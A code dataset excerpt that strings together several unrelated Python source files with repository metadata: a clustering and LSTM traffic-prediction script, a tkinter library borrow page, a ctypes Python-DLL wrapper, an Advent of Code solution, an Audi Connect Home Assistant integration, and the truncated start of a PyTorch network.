改进:可以考虑聚类对象是残差或直接是标准数据\nimport pandas as pd\ndef optimalK(data, nrefs=3, maxClusters=15):\n \"\"\"\n Calculates KMeans optimal K using Gap Statistic from Tibshirani, Walther, Hastie\n Params:\n data: ndarry of shape (n_samples, n_features)\n nrefs: number of sample reference datasets to create\n maxClusters: Maximum number of clusters to test for\n Returns: (gaps, optimalK)\n \"\"\"\n gaps = np.zeros((len(range(1, maxClusters)),))\n resultsdf = pd.DataFrame({'clusterCount':[], 'gap':[]})\n for gap_index, k in enumerate(range(1, maxClusters,2)):\n # Holder for reference dispersion results\n refDisps = np.zeros(nrefs)\n\n # For n references, generate random sample and perform kmeans getting resulting dispersion of each loop\n for i in range(nrefs):\n \n # Create new random reference set\n randomReference = np.random.random_sample(size=data.shape)\n \n # Fit to it\n km = KMeans(k)\n km.fit(randomReference)\n \n refDisp = km.inertia_\n refDisps[i] = refDisp\n\n # Fit cluster to original data and create dispersion\n km = KMeans(k)\n km.fit(data)\n \n origDisp = km.inertia_\n\n # Calculate gap statistic\n gap = np.log(np.mean(refDisps)) - np.log(origDisp)\n\n # Assign this loop's gap statistic to gaps\n gaps[gap_index] = gap\n \n resultsdf = resultsdf.append({'clusterCount':k, 'gap':gap}, ignore_index=True)\n\n return (gaps.argmax() + 1, resultsdf) # Plus 1 because index of 0 means 1 cluster is optimal, index 2 = 3 clusters are optimal\n\n# 对于给定的一次聚类数据,自行进行二次聚类,并且返回聚类结果\n# 第一种实现,使用gap statistic跑出k值\n# 此处的data为特定的聚类结果,比如data[y_pre==k]\ndef getSecondClus_1(data):\n k, _ = optimalK(data, nrefs=5, maxClusters=10)\n km = KMeans(n_clusters = k,random_state= 0)\n y_pre = km.fit_predict(data)\n return y_pre\n\n#第二种实现,使用中位数Birch聚类\ndef getSecondClus_2(data):\n epsilon = getEpsilonFromtiny(data)\n y_pre = Birch(n_clusters= None,threshold=epsilon).fit_predict(data)\n return y_pre\n\nfrom sklearn.cluster import AgglomerativeClustering\nfrom scipy.stats import spearmanr\nimport math\nfrom sklearn.metrics import pairwise_distances\n\n#第三种实现,使用Agglomerative非欧距离聚类\n#速度上来说是普通MSE的4倍\ndef getTrendScore(x,y):\n v,p = spearmanr(x.ravel(),y.ravel())\n # 如果v<=0,或者p>=0.05,说明两者无线性关系,距离趋于近无穷大\n if math.isnan(v):\n return pow(math.e,10)\n elif v<=0.1 or p>=0.05:\n return pow(math.e,10)\n else:\n return pow(math.e,1/v)\n\ndef trend_affinity(X):\n return pairwise_distances(X, metric=getTrendScore,n_jobs=-1)\ndef getSecondClus_3(data):\n distance_matrix = trend_affinity(data)\n model = AgglomerativeClustering(n_clusters=None, affinity='precomputed', linkage='complete',distance_threshold = pow(math.e,1/0.5))\n y_pre = model.fit_predict(distance_matrix)\n return y_pre\n\n#对于标准数据耗时300s左右\ncluster_num = max(y_pre)\ntotalClusterNum = 0 #前面最小的聚类数\nsecondClusans = np.zeros(len(y_pre))# 全0的数组,用来保存最后的结果\nfor k in range(cluster_num + 1):\n paaData = paa_mid[y_pre == k]\n originData = stdData[:,:int(ratio*stdData.shape[1])][y_pre==k]\n originData = originData.reshape(originData.shape[0],originData.shape[1])\n second_iter = np.where(y_pre == k)[0]\n\n if len(originData) < 15:#如果聚类过小,不进行第二次聚类\n for index,ele in enumerate(second_iter):\n secondClusans[ele] = totalClusterNum\n totalClusterNum += 1\n else:\n second_y = getSecondClus_1(originData)\n for index,ele in enumerate(second_iter):\n secondClusans[ele] = second_y[index] + totalClusterNum\n totalClusterNum += max(second_y) + 1 \n\n# 第二次聚类完毕,得到的结果是secondClusans,里面是按顺序存储的聚类数据。totalClusterNum是总聚类数量\n# 初步得到的聚类数量为1463个聚类\n#################################################################\n# 第三步:整体预测。提取出聚类中心并对其进行预测,将结果作为聚类中所有值的最终结果\nstore = []\nfor k in range(totalClusterNum):\n stdClusData = stdData[secondClusans == k]\n store.append(sum(stdClusData)/stdClusData.shape[0])\n\n#################################################################\n# 第四步:预测。建立模型对该数据进行预测(决策树回归模型),接受480个数据预测20个\n# 改进:可以考虑与基线+残差双ARIMA预测方法进行比较,以及要与基础的普通决策树回归预测方法进行比较\nfrom sklearn.svm import SVR\nfrom sklearn.model_selection import GridSearchCV\nfrom sklearn.metrics import mean_squared_error\n#返回滑动窗口\ndef getWindow(data,window_size):\n x = []\n for t in range(len(data)-window_size+1):\n a = data[t:t+window_size]\n x.append(a)\n x = np.array(x)\n x = np.reshape(x,(len(x),window_size))\n return x\n\n# 用于GridSearchCV调参的\ndef print_best_score(gsearch,param_test):\n # 输出best score\n print(\"Best score: %0.3f\" % gsearch.best_score_)\n print(\"Best parameters set:\")\n # 输出最佳的分类器到底使用了怎样的参数\n best_parameters = gsearch.best_estimator_.get_params()\n for param_name in sorted(param_test.keys()):\n print(\"\\t%s: %r\" % (param_name, best_parameters[param_name]))\n\n\nfrom sklearn.preprocessing import StandardScaler\n# 离线检验\n# 使用方法:决策树集成回归 + 时间窗口法\n# 预测结果,给出预测数据,预测步数,得到���测结果,全部结果\n# data为一维向量\n# 为了保证正常运行,需要先对数据进行归一化处理,然后再返回\ndef getPredictResultWithSlidingWindows(data):\n data = data.ravel().reshape(-1,1)\n scaler = StandardScaler()\n data = scaler.fit_transform(data)\n # 上面完成归一化\n ratio = 0.9 #测试数据为10%\n window_size = 7\n X_train = getWindow(data[:int(len(data)*ratio)],window_size)\n y_train = data[window_size:int(len(data)*ratio)+1]\n #param_test = {\"C\": [1e0, 1e1, 1e2, 1e3], \"gamma\": np.logspace(-2, 2, 5)}\n #svr = GridSearchCV(SVR(kernel='rbf', gamma=0.1), cv=5,param_grid=param_test)\n #svr.fit(X_train,y_train.ravel())\n #print_best_score(svr,param_test)\n svr = SVR(kernel='rbf',gamma='scale')\n svr.fit(X_train,y_train.ravel())\n\n X_test = getWindow(data[int(len(data)*ratio)+1 - window_size:-1],window_size)\n y_test = data[int(len(data)*ratio)+1:]\n y_prediction = svr.predict(X_test)\n y_test = scaler.inverse_transform(y_test)\n y_prediction = scaler.inverse_transform(y_prediction)\n return y_test,y_prediction\n\n\nimport keras\nfrom keras.layers import Input, Embedding, LSTM, Dense\nfrom keras.models import Model\nfrom keras import optimizers\n# 给出训练数据,返回训练好的模型\ndef getLSTMModel(main_data,aux_data,y_train,epch):\n main_input = Input(shape=(1,24), dtype='float32', name='main_input')# 输入的连续时间戳长度为24\n #x = Embedding(output_dim=512, input_dim=10000, input_length=100)(main_input)\n lstm_out = LSTM(24,dropout = 0.5,return_sequences = True)(main_input)\n lstm_out = LSTM(24)(lstm_out)\n auxiliary_input = Input(shape=(26,),name='aux_input')\n x = keras.layers.concatenate([lstm_out, auxiliary_input])\n x = Dense(64, activation='relu')(x)\n x = Dense(32, activation='relu')(x)\n x = Dense(16, activation='relu')(x)\n main_output = Dense(1, activation='linear', name='main_output')(x)\n model = Model(inputs=[main_input,auxiliary_input], outputs=[main_output])\n model.compile(optimizer='adam', loss='mean_squared_error',loss_weights=[1.])\n model.fit([main_data,aux_data], [y_train],epochs=epch, batch_size=20)\n return model\n\n# 问题:预测的结果无法小于0\n# 猜测是辅助函数这边的问题\n# 构造一个普通的LSTM\ndef getLSTMResult(data,epch=15):\n #第一步,切分数据集\n ratio = 0.9\n #然后对于每个24小时进行训练。用前24小时去精确预测后24小时中的某一个点。\n # 对训练数据的24小时内生成训练窗口集合。\n # 内部时间戳,24个连续的时间戳\n # 外部辅助特征,23个差分+平均值+方差+1天中的第几个小时\n s = time.time()\n st = []\n for index in range(len(data)):\n # 对于每一个时间序列数据\n main_input_list = []\n auxiliary_input_list = []\n y_train = []\n # 对于每一个点,将其前面的24个点打包成连续时间戳\n # 提取前24个点的均值和方差,以及23个一阶差分数据\n # 以及这个点是该天的第几个小时\n window_size = 24\n scaler = StandardScaler()\n tsData = scaler.fit_transform(data[index])\n for i in range(window_size,int(len(tsData)*ratio)): #需要预测的时间点\n main_input_list.append(tsData[i-window_size:i]) #放入连续的24个时间戳\n aux = np.zeros(26)\n aux[0] = i%24\n aux[1] = np.mean(tsData[i-window_size:i])\n aux[2] = np.var(tsData[i-window_size:i])\n aux[3:] = np.diff(tsData[i-window_size:i].ravel())\n auxiliary_input_list.append(aux)\n y_train.append(tsData[i])\n main_input_list = np.array(main_input_list)\n main_input_list = main_input_list.reshape(main_input_list.shape[0],1,main_input_list.shape[1]) #变成数量*维数*样本数的形式\n auxiliary_input_list = np.array(auxiliary_input_list)\n y_train = np.array(y_train)\n model = getLSTMModel(main_input_list,auxiliary_input_list,y_train,epch)\n\n #生成测试数据 \n #对未来的47个点,生成对应的预测值\n test_input = []\n aux_input = []\n for i in range(int(len(tsData)*ratio)+1,len(tsData)):\n test_input.append(tsData[i-window_size:i]) #放入连续的24个时间戳\n aux = np.zeros(26)\n aux[0] = i%24\n aux[1] = np.mean(tsData[i-window_size:i])\n aux[2] = np.var(tsData[i-window_size:i])\n aux[3:] = np.diff(tsData[i-window_size:i].ravel())\n aux_input.append(aux)\n\n test_input = np.array(test_input)\n test_input = test_input.reshape(test_input.shape[0],1,test_input.shape[1]) #变成数量*维数*样本数的形式\n aux_input = np.array(aux_input)\n y_test = model.predict({'main_input':test_input,'aux_input':aux_input})\n st.append(scaler.inverse_transform(y_test))\n del model\n e = time.time()\n print('lstm predict time:',e-s,'s')\n return st\n\n\n'''\n#选择用函数\nfor i in range(9900):\n if max(formatted_dataset[i,int(ratio*len(data))+1:]) < 520 and max(formatted_dataset[i,int(ratio*len(data))+1:]) - min(formatted_dataset[i,int(ratio*len(data))+1:]) > 300:\n print(i)\n plt.plot(formatted_dataset[i,int(ratio*len(data))+1:],color='red',label=\"real\")\n plt.plot(oppo[i],color='green',label=\"solo\")\n plt.plot(predictResult[i],color='blue',label=\"clus\")\n plt.legend(loc='upper right')\n plt.show()\n print('单独误差:',mean_squared_error(formatted_dataset[i,int(ratio*len(data))+1:],oppo[i]))\n print('集成误差:',mean_squared_error(formatted_dataset[i,int(ratio*len(data))+1:],predictResult[i]))\n\n'''\n# 表现较好的:90/4931\n# 可能较好:2053,7332\n# 单独预测表现更好:1423,5184\n# 集成预测表现更好:1024,5104\n# 都不好:1289,2489争取不被压爆\nindex = 4931 #用于测试的数据编号。候补,\nk = index\nlabel = int(secondClusans[k])\n#y_test,y_prediction = getPredictResultWithSlidingWindows(store[index])\ny_prediction = getLSTMResult([store[int(label)]])\ny_prediction = np.array(y_prediction)\ny_prediction = y_prediction.reshape(47)\nfrom sklearn.metrics import mean_squared_error\nk = index\nrepres = y_prediction\nm = repres * np.sqrt(np.var(originStdData[k])) + np.mean(originStdData[k])\npredictAns = m * np.sqrt(np.var(formatted_dataset[k])) + np.mean(formatted_dataset[k])\ndata = formatted_dataset[k]\nprint(mean_squared_error(data[int(ratio*len(data))+1:],predictAns))\n\ny_prediction_solo = getLSTMResult([stdData[index]])\ny_prediction_solo = np.array(y_prediction_solo)\ny_prediction_solo = y_prediction_solo.reshape(47)\nk = index\ndata = formatted_dataset[k]\nrepres = y_prediction_solo\nm = repres * np.sqrt(np.var(originStdData[k])) + np.mean(originStdData[k])\ny_prediction_solo = m * np.sqrt(np.var(formatted_dataset[k])) + np.mean(formatted_dataset[k])\nprint(mean_squared_error(data[int(ratio*len(data))+1:],y_prediction_solo))\n\ndef WriteTotalTrafficToFile(data):# 时序数据,包括第一个点+47个预测点\n fileName = 'trafficTotal.txt'\n dataPath = \"E:\\\\code\\\\myPaper\\\\k8sPredictor\"\n LocalPath = os.path.join(dataPath,fileName)\n writer = open(LocalPath,'w',encoding='utf-8')\n for ele in data:\n writer.write(str(ele)+'\\n')\n\ndef WriteSpecTrafficToFile(data):# 时序数据,包括第一个点+47个预测点\n fileName = 'trafficSpec.txt'\n dataPath = \"E:\\\\code\\\\myPaper\\\\k8sPredictor\"\n LocalPath = os.path.join(dataPath,fileName)\n writer = open(LocalPath,'w',encoding='utf-8')\n for ele in data:\n writer.write(str(ele)+'\\n')\n\n# 将流量数据写入给gatling\ndef WriteTestTrafficToFile(data):\n fileName = 'wtytest'\n dataPath = \"E:\\\\code\\\\myPaper\\\\k8sPredictor\"\n LocalPath = os.path.join(dataPath,fileName)\n writer = open(LocalPath,'w',encoding='utf-8')\n for ele in data:\n writer.write(str(ele)+'\\n')\n\nwriteCache = np.zeros(48)\nwriteCache[0] = formatted_dataset[index,432,0]\nwriteCache[1:] = predictAns\nWriteTotalTrafficToFile(writeCache)\nwriteCache = np.zeros(48)\nwriteCache[0] = formatted_dataset[index,432,0]\nwriteCache[1:] = y_prediction_solo\nWriteSpecTrafficToFile(writeCache)\nWriteTestTrafficToFile(formatted_dataset[index,432:].ravel())\n\nimport matplotlib\nmatplotlib.use('qt4agg')\n#指定默认字体\nmatplotlib.rcParams['font.sans-serif'] = ['SimHei']\nmatplotlib.rcParams['font.family']='sans-serif'\n#解决负号'-'显示为方块的问题\nmatplotlib.rcParams['axes.unicode_minus'] = False\n\n# 对照组:对原始时间序列直接进行预测,两者的差距\nplt.plot(data[int(ratio*len(data))+1:],color='red',label=\"真实数据\")\nplt.plot(y_prediction_solo,color='green',label=\"单独预测\")\nplt.plot(predictAns,color='blue',label=\"集成预测\")\nplt.legend(loc='upper right')\nplt.savefig('data'+str(index)+'.png')\nprint(foreignTime-time.time(),'s')","repo_name":"wtysos11/k8sPredictor","sub_path":"Predictor/generateData.py","file_name":"generateData.py","file_ext":"py","file_size_in_byte":25643,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"67"} +{"seq_id":"32638099874","text":"import tkinter\nimport json\nfrom tkinter import messagebox\nfrom classes.user_db import UserDatabase\nfrom classes.book_db import BookDatabase\n\n\nclass Borrowed_page:\n \"\"\"Class used to display a page showing books borrowed or reserved\"\"\"\n\n def __init__(self, window, callback):\n self.window = window\n self.callback = callback\n self.user_db = UserDatabase()\n self.book_db = BookDatabase()\n\n def run_display_borrowed(self):\n \"\"\"Function for displaying borrowed books in the graphical interface\"\"\"\n self.frame_borrowed_left = tkinter.Frame(self.window)\n self.frame_borrowed_left.pack(side=\"left\", padx=20, pady=20)\n\n self.frame_borrowed_right = tkinter.Frame(self.window)\n self.frame_borrowed_right.pack(side=\"right\", padx=20, pady=20)\n\n self.frame_borrowed_top = tkinter.Frame(self.window)\n self.frame_borrowed_top.pack(side=\"top\", padx=20, pady=20)\n\n self.display_borrowed()\n\n def display_borrowed(self):\n # Load the books from the database\n data = self.book_db.load_books()\n\n # Filter the books to display only the reserved ones\n reserved_books = [book for book in data if book.is_reserved]\n\n return_button = tkinter.Button(\n self.frame_borrowed_right,\n text=\"Return\",\n command=self.back_page,\n )\n return_button.pack(pady=5)\n\n if not reserved_books:\n # Display a message if there are no reserved books\n no_books_label = tkinter.Label(\n self.frame_borrowed_top,\n text=\"No books are currently borrowed.\",\n font=(\"Arial\", 16),\n )\n no_books_label.pack(pady=10)\n else:\n # Display the borrowed books\n for book in reserved_books:\n user = self.user_db.get_user_by_id(book.reserved_by)\n print(user)\n\n if user:\n reserved_by_info = f\"reserved by: {user['name']} {user['surname']}\"\n else:\n reserved_by_info = \"reserved by: Unknown User\"\n\n book_info = (\n f\"Title: {book.title}\\nAuthor: {book.author}\\n{reserved_by_info}\"\n )\n\n book_bouton = tkinter.Button(\n self.frame_borrowed_left,\n text=book_info,\n font=(\"arial\", 12),\n justify=\"left\",\n command=lambda book_id=book.book_id: self.show_confirmation_dialog(\n book_id\n ),\n )\n book_bouton.pack(pady=5)\n\n def show_confirmation_dialog(self, book_id):\n \"\"\"Function that opens a booking confirmation dialogue box\n\n Args:\n book_id : Book id to be confirmed\n \"\"\"\n # Display a dialogue box with \"Yes\" and \"No\" buttons\n result = messagebox.askyesno(\n \"Confirmation\", \"will you accept the borrow of this book \"\n )\n\n # Check the user's answer\n if result == True: # If the user has selected on \"Yes\".\n self.accept_borrow(book_id)\n else: # If the user has selected on \"No\n self.deny_borrow(book_id)\n\n def accept_borrow(self, book_id):\n \"\"\"Function enabling admin to accept a loan\n\n Args:\n book_id : Book id to be accepted\n \"\"\"\n # Load book data from the database\n with open(\"./db/book.json\", \"r\", encoding=\"utf-8\") as file:\n data = json.load(file)\n\n # Search for a book by ID\n book = next((book for book in data if book[\"id\"] == book_id), None)\n\n # Check if the book has been found\n if book:\n # Updating book information\n book[\"is_borrowed\"] = True\n book[\"borrowed_by\"] = book[\"reserved_by\"]\n book[\"is_reserved\"] = False\n\n # Save changes in the database\n with open(\"./db/book.json\", \"w\", encoding=\"utf-8\") as file:\n json.dump(data, file, indent=4)\n\n # Display a success message\n messagebox.showinfo(\"Success\", \"Book borrow accepted.\")\n else:\n # Display an error message if the book is not found\n messagebox.showerror(\"Error\", \"Book not found.\")\n\n def deny_borrow(self, book_id):\n \"\"\"Function allowing admin to refuse a loan\n\n Args:\n book_id : Book id to be refused\n \"\"\"\n # Load book data from the database\n with open(\"./db/book.json\", \"r\", encoding=\"utf-8\") as file:\n data = json.load(file)\n\n # Search for a book by ID\n book = next((book for book in data if book[\"id\"] == book_id), None)\n\n # Check if the book has been found\n if book:\n # Reset book reservation information\n book[\"is_reserved\"] = False\n book[\"reserved_by\"] = None\n\n # Save changes in the database\n with open(\"./db/book.json\", \"w\", encoding=\"utf-8\") as file:\n json.dump(data, file, indent=4)\n\n # Display a success message\n messagebox.showinfo(\"Success\", \"Book borrow denied.\")\n else:\n # Display an error message if the book is not found\n messagebox.showerror(\"Error\", \"Book not found.\")\n\n def back_page(self):\n \"\"\"Function to return to the previous page\"\"\"\n self.frame_borrowed_left.destroy()\n self.frame_borrowed_right.destroy()\n self.frame_borrowed_top.destroy()\n self.callback()\n","repo_name":"MehdiZiane/project_bibli","sub_path":"classes/borrowed_page.py","file_name":"borrowed_page.py","file_ext":"py","file_size_in_byte":5576,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"67"} +{"seq_id":"41382598545","text":"from ctypes import CDLL, c_char, c_wchar, c_char_p, c_int, c_void_p, c_wchar_p\n\nimport sys\nPY3 = sys.version_info >= (3, 0)\n\nif PY3:\n STRING = c_wchar_p\n CHAR = c_wchar\nelse:\n STRING = c_char_p\n CHAR = c_char\n\nclass Python(object):\n def __init__(self, name):\n self._dll = CDLL(name)\n self.Py_BytesWarningFlag = c_int.in_dll(self._dll, \"Py_BytesWarningFlag\")\n self.Py_DebugFlag = c_int.in_dll(self._dll, \"Py_DebugFlag\")\n self.Py_DontWriteBytecodeFlag = c_int.in_dll(self._dll, \"Py_DontWriteBytecodeFlag\")\n self.Py_IgnoreEnvironmentFlag = c_int.in_dll(self._dll, \"Py_IgnoreEnvironmentFlag\")\n self.Py_FrozenFlag = c_int.in_dll(self._dll, \"Py_FrozenFlag\")\n self.Py_InspectFlag = c_int.in_dll(self._dll, \"Py_InspectFlag\")\n self.Py_InteractiveFlag = c_int.in_dll(self._dll, \"Py_InteractiveFlag\")\n self.Py_NoSiteFlag = c_int.in_dll(self._dll, \"Py_NoSiteFlag\")\n self.Py_OptimizeFlag = c_int.in_dll(self._dll, \"Py_OptimizeFlag\")\n self.Py_UseClassExceptionsFlag = c_int.in_dll(self._dll, \"Py_UseClassExceptionsFlag\")\n self.Py_VerboseFlag = c_int.in_dll(self._dll, \"Py_VerboseFlag\")\n if not PY3:\n self.Py_DivisionWarningFlag = c_int.in_dll(self._dll, \"Py_DivisionWarningFlag\")\n self.Py_Py3kWarningFlag = c_int.in_dll(self._dll, \"Py_Py3kWarningFlag\")\n self.Py_TabcheckFlag = c_int.in_dll(self._dll, \"Py_TabcheckFlag\")\n self.Py_UnicodeFlag = c_int.in_dll(self._dll, \"Py_UnicodeFlag\")\n\n self.Py_SetProgramName = self._dll.Py_SetProgramName\n self.Py_SetProgramName.restype = None\n self.Py_SetProgramName.argtypes = [STRING]\n\n self.Py_SetPythonHome = self._dll.Py_SetPythonHome\n self.Py_SetPythonHome.restype = None\n self.Py_SetPythonHome.argtypes = [STRING]\n\n self.Py_GetPath = self._dll.Py_GetPath\n self.Py_GetPath.restype = STRING\n self.Py_GetPath.argtypes = []\n\n self.Py_Initialize = self._dll.Py_Initialize\n self.Py_Initialize.restype = None\n self.Py_Initialize.argtypes = []\n\n self.PyRun_SimpleStringFlags = self._dll.PyRun_SimpleStringFlags\n self.PyRun_SimpleStringFlags.restype = c_int\n self.PyRun_SimpleStringFlags.argtypes = [c_char_p, c_void_p]\n\n def PyRun_SimpleString(self, s):\n return self.PyRun_SimpleStringFlags(s, None)\n\n","repo_name":"pombreda/ctypes-stuff","sub_path":"winsxs/py.py","file_name":"py.py","file_ext":"py","file_size_in_byte":2387,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"67"} +{"seq_id":"29957802706","text":"def strip(element):\r\n return element.strip()\r\n\r\ndef letter_to_int(letter):\r\n alphabet = list('abcdefghijklmnopqrstuvwxyz'+'abcdefghijklmnopqrstuvwxyz'.upper())\r\n return alphabet.index(letter) + 1\r\n\r\nfile = open(\"day3_input.txt\")\r\nmylist = file.readlines()\r\n\r\nstripped_list = list(map(strip, mylist))\r\n\r\ncommon_letters = []\r\nfor element in stripped_list:\r\n firstpart, secondpart = element[:len(element)//2], element[len(element)//2:]\r\n test = set(firstpart).intersection(set(secondpart))\r\n test = list(test)\r\n common_letters.append(test[0])\r\n \r\ncommon_numbers = list(map(letter_to_int, common_letters))\r\n\r\nprint(sum(common_numbers)) \r\n\r\nfile.close()\r\n\r\n","repo_name":"evamayer/advent_of_code","sub_path":"day 3/day_3a.py","file_name":"day_3a.py","file_ext":"py","file_size_in_byte":679,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"67"} +{"seq_id":"23553596032","text":"import logging\nfrom datetime import timedelta\nimport threading\nimport asyncio\nimport voluptuous as vol\n\nimport homeassistant.helpers.config_validation as cv\nfrom homeassistant.helpers.dispatcher import (\n async_dispatcher_connect,\n async_dispatcher_send,\n)\nfrom homeassistant.helpers.aiohttp_client import async_get_clientsession\nfrom homeassistant.helpers.event import async_track_point_in_utc_time\nfrom homeassistant.util.dt import utcnow\nfrom homeassistant.const import (\n CONF_NAME,\n CONF_PASSWORD,\n CONF_RESOURCES,\n CONF_SCAN_INTERVAL,\n CONF_USERNAME,\n)\n\nfrom .dashboard import Dashboard\nfrom .audi_connect_account import AudiConnectAccount, AudiConnectObserver\nfrom .audi_models import VehicleData\n\nfrom .const import (\n DOMAIN,\n CONF_VIN,\n CONF_ACTION,\n CONF_REGION,\n CONF_SPIN,\n CONF_MUTABLE,\n DEFAULT_UPDATE_INTERVAL,\n MIN_UPDATE_INTERVAL,\n SIGNAL_STATE_UPDATED,\n TRACKER_UPDATE,\n COMPONENTS,\n)\n\nREFRESH_VEHICLE_DATA_FAILED_EVENT = \"refresh_failed\"\nREFRESH_VEHICLE_DATA_COMPLETED_EVENT = \"refresh_completed\"\nSERVICE_REFRESH_VEHICLE_DATA = \"refresh_data\"\nSERVICE_REFRESH_VEHICLE_DATA_SCHEMA = vol.Schema(\n {\n vol.Required(CONF_VIN): cv.string,\n }\n)\n\nSERVICE_EXECUTE_VEHICLE_ACTION = \"execute_vehicle_action\"\nSERVICE_EXECUTE_VEHICLE_ACTION_SCHEMA = vol.Schema(\n {vol.Required(CONF_VIN): cv.string, vol.Required(CONF_ACTION): cv.string}\n)\n\n_LOGGER = logging.getLogger(__name__)\n\n\nclass AudiAccount(AudiConnectObserver):\n def __init__(self, hass, config_entry, unit_system: str):\n \"\"\"Initialize the component state.\"\"\"\n self.hass = hass\n self.config_entry = config_entry\n self.config_vehicles = set()\n self.vehicles = set()\n self.interval = config_entry.data.get(CONF_SCAN_INTERVAL)\n self.unit_system = unit_system\n\n def init_connection(self):\n session = async_get_clientsession(self.hass)\n self.connection = AudiConnectAccount(\n session=session,\n username=self.config_entry.data.get(CONF_USERNAME),\n password=self.config_entry.data.get(CONF_PASSWORD),\n country=self.config_entry.data.get(CONF_REGION),\n spin=self.config_entry.data.get(CONF_SPIN),\n )\n\n self.hass.services.async_register(\n DOMAIN,\n SERVICE_REFRESH_VEHICLE_DATA,\n self.refresh_vehicle_data,\n schema=SERVICE_REFRESH_VEHICLE_DATA_SCHEMA,\n )\n self.hass.services.async_register(\n DOMAIN,\n SERVICE_EXECUTE_VEHICLE_ACTION,\n self.execute_vehicle_action,\n schema=SERVICE_EXECUTE_VEHICLE_ACTION_SCHEMA,\n )\n\n self.connection.add_observer(self)\n\n def is_enabled(self, attr):\n return True\n # \"\"\"Return true if the user has enabled the resource.\"\"\"\n # return attr in config[DOMAIN].get(CONF_RESOURCES, [attr])\n\n def discover_vehicles(self, vehicles):\n\n if len(vehicles) > 0:\n for vehicle in vehicles:\n vin = vehicle.vin.lower()\n\n self.vehicles.add(vin)\n\n cfg_vehicle = VehicleData(self.config_entry)\n cfg_vehicle.vehicle = vehicle\n self.config_vehicles.add(cfg_vehicle)\n\n dashboard = Dashboard(\n self.connection, vehicle, unit_system=self.unit_system\n )\n\n for instrument in (\n instrument\n for instrument in dashboard.instruments\n if instrument._component in COMPONENTS\n and self.is_enabled(instrument.slug_attr)\n ):\n\n if instrument._component == \"sensor\":\n cfg_vehicle.sensors.add(instrument)\n if instrument._component == \"binary_sensor\":\n cfg_vehicle.binary_sensors.add(instrument)\n if instrument._component == \"switch\":\n cfg_vehicle.switches.add(instrument)\n if instrument._component == \"device_tracker\":\n cfg_vehicle.device_trackers.add(instrument)\n if instrument._component == \"lock\":\n cfg_vehicle.locks.add(instrument)\n\n self.hass.async_add_job(\n self.hass.config_entries.async_forward_entry_setup(\n self.config_entry, \"sensor\"\n )\n )\n self.hass.async_add_job(\n self.hass.config_entries.async_forward_entry_setup(\n self.config_entry, \"binary_sensor\"\n )\n )\n self.hass.async_add_job(\n self.hass.config_entries.async_forward_entry_setup(\n self.config_entry, \"switch\"\n )\n )\n self.hass.async_add_job(\n self.hass.config_entries.async_forward_entry_setup(\n self.config_entry, \"device_tracker\"\n )\n )\n self.hass.async_add_job(\n self.hass.config_entries.async_forward_entry_setup(\n self.config_entry, \"lock\"\n )\n )\n\n async def update(self, now):\n\n \"\"\"Update status from the online service.\"\"\"\n try:\n if not await self.connection.update(None):\n return False\n\n self.discover_vehicles(\n [x for x in self.connection._vehicles if x.vin not in self.vehicles]\n )\n\n async_dispatcher_send(self.hass, SIGNAL_STATE_UPDATED)\n\n for config_vehicle in self.config_vehicles:\n for instrument in config_vehicle.device_trackers:\n async_dispatcher_send(self.hass, TRACKER_UPDATE, instrument)\n\n return True\n finally:\n async_track_point_in_utc_time(\n self.hass, self.update, utcnow() + timedelta(minutes=self.interval)\n )\n\n async def execute_vehicle_action(self, service):\n vin = service.data.get(CONF_VIN).lower()\n action = service.data.get(CONF_ACTION).lower()\n\n if action == \"lock\":\n await self.connection.set_vehicle_lock(vin, True)\n if action == \"unlock\":\n await self.connection.set_vehicle_lock(vin, False)\n if action == \"start_climatisation\":\n await self.connection.set_vehicle_climatisation(vin, True)\n if action == \"stop_climatisation\":\n await self.connection.set_vehicle_climatisation(vin, False)\n if action == \"start_charger\":\n await self.connection.set_battery_charger(vin, True, False)\n if action == \"start_timed_charger\":\n await self.connection.set_battery_charger(vin, True, True)\n if action == \"stop_charger\":\n await self.connection.set_battery_charger(vin, False, False)\n if action == \"start_preheater\":\n await self.connection.set_vehicle_pre_heater(vin, True)\n if action == \"stop_preheater\":\n await self.connection.set_vehicle_pre_heater(vin, False)\n if action == \"start_window_heating\":\n await self.connection.set_vehicle_window_heating(vin, True)\n if action == \"stop_window_heating\":\n await self.connection.set_vehicle_window_heating(vin, False)\n\n async def handle_notification(self, vin: str, action: str) -> None:\n await self._refresh_vehicle_data(vin)\n\n async def refresh_vehicle_data(self, service):\n vin = service.data.get(CONF_VIN).lower()\n await self._refresh_vehicle_data(vin)\n\n async def _refresh_vehicle_data(self, vin):\n res = await self.connection.refresh_vehicle_data(vin)\n\n if res == True:\n await self.update(utcnow())\n\n self.hass.bus.fire(\n \"{}_{}\".format(DOMAIN, REFRESH_VEHICLE_DATA_COMPLETED_EVENT),\n {\"vin\": vin},\n )\n\n else:\n _LOGGER.exception(\"Error refreshing vehicle data %s\", vin)\n self.hass.bus.fire(\n \"{}_{}\".format(DOMAIN, REFRESH_VEHICLE_DATA_FAILED_EVENT), {\"vin\": vin}\n )\n","repo_name":"arjenvrh/audi_connect_ha","sub_path":"custom_components/audiconnect/audi_account.py","file_name":"audi_account.py","file_ext":"py","file_size_in_byte":8181,"program_lang":"python","lang":"en","doc_type":"code","stars":163,"dataset":"github-code","pt":"67"} +{"seq_id":"32572808189","text":"import torch\nimport torch.nn as nn\nimport torch.nn.functional as F\n\n__all__ = ['plain_connected_net'] # The networks contained in this file.\n\n\ndef convert_dna_to_list(dna_string, num_classes):\n # dna_string is a list of numbers separated by spaces\n # num_classes is the number of cifar classes\n layer_counts_as_strings = dna_string.split(' ')\n layer_counts_as_ints = [int(count) for count in layer_counts_as_strings]\n layer_counts_as_ints.append(num_classes)\n return layer_counts_as_ints\n\n\nclass FullyConnectedNet(nn.Module):\n def __init__(self, layer_data):\n # layer_data is a list of the number of nodes in each successive layer\n super(FullyConnectedNet, self).__init__()\n self.image_size = 28\n self.layers = [\n nn.Linear(layer_data[idx - 1], current_layer) if idx > 0 else nn.Linear(self.image_size ** 2, current_layer)\n for idx, current_layer in enumerate(layer_data)]\n self.sequence = nn.Sequential(*self.layers)\n\n def forward(self, x):\n y = x.view(x.size(0), -1)\n y = self.sequence(y)\n return y\n\n\ndef plain_connected_net(dna_string, num_classes=1000):\n layer_list = convert_dna_to_list(dna_string, num_classes)\n return 